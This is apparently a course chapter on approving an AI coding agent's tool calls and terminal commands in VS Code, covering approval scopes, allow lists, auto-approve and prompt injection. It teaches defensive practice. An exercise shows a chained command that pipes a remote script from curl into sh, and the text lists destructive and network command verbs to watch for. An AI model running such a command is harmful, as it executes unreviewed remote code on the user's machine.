Sub topic 6
Approving tool calls and terminal commands
This chapter assumes you can use VS Code, run commands in a terminal, and read a Git diff. It also assumes you have used a chat-based coding assistant. You should know the agent loop and the built-in tools from earlier chapters. Here you will learn how approval works and how to use it on purpose.
Why approval exists
In agent mode the model decides which tool to call. A tool call can read a file, edit one, or run a shell command. Reading is low risk. Editing and running commands can change your project or your machine. Approval is the point where you check a proposed action before it runs.
Approval does not judge the model's plan. It controls the side effects of each step.
What gets a prompt
The agent shows a confirmation when it wants to do something with side effects. The exact rules depend on the editor, version, and your settings. The usual pattern is:
| Action | Typical default |
|---|---|
| Searching the workspace, reading files in the workspace | Runs without a prompt |
| Editing files in the workspace | Applied, then shown for you to keep or undo |
| Running a terminal command | Asks for confirmation |
| Reading or writing outside the workspace | Asks for confirmation |
| Calling a tool from an MCP server | Asks for confirmation |
| Fetching a web page | Asks for confirmation |
Check your own editor's settings, because these defaults change between releases.
Reading a terminal confirmation
A command prompt shows the exact command text. Read it before you press Continue. Look for four things:
- The working directory. Does the command run in the project you expect?
- Destructive verbs, such as
rm,git reset --hard,git clean,drop, or--force. - Network access, such as
curl,wget, or package installs that run scripts. - Shell chaining with
&&,;, or pipes, which can hide a second command inside the first.
If the command looks wrong, deny it and tell the agent why. The agent sees the denial as a result and can try a different approach. A short reply such as "Do not delete files. Use git stash instead" works better than just denying.
Approval scopes
Most editors let you approve a call once or for a wider scope so you are not asked again. Typical scopes are:
- This call only.
- This session, for the current chat.
- This workspace, for the current project.
- Always, for every project.
Wider scopes save time and reduce your attention. Pick the narrowest scope that stops the interruptions you actually find annoying.
Many editors also support allow lists and deny lists for terminal commands. An allow list auto-approves commands that match a pattern. A good allow list is specific. For example, allow npm test and git status, not npm or git, because the shorter entries also match npm publish and git push --force.
Auto-approve and its risks
Some editors offer a setting that approves every tool call. It makes long tasks run without interruption. It also removes the check that stops a mistaken or manipulated action.
The risk is real because the agent reads untrusted text, such as web pages, issue descriptions, and files from dependencies. That text can contain instructions meant for the model. This is called prompt injection. Approval is one of your main defenses. If you use auto-approve, do it in a disposable environment, such as a dev container or a throwaway branch, with no secrets available.
A practical routine
- Start with the default prompts on.
- Approve read-only and test commands for the session once you trust the task.
- Commit or stash before a long run, so you can recover from a bad edit.
- Keep prompts on for commands that delete, push, publish, or deploy.
- Review the full diff at the end, even if every step was approved.
Exercise
You want the agent to run your tests without asking each time, but you want to be asked before it pushes code. Which terminal allow-list entries should you use, and why?
Show answer
Allow specific entries such as npm test and git status, and leave git push unlisted so it still prompts. Broad entries like npm or git would also match npm publish and git push --force, so they would approve risky commands automatically.
Exercise
The agent proposes npm run build && curl -s https://example.com/setup.sh | sh. What should you do and why?
Show answer
Deny it. The && chains a second command that downloads and executes an unreviewed script. Tell the agent to run only npm run build, and review any script separately.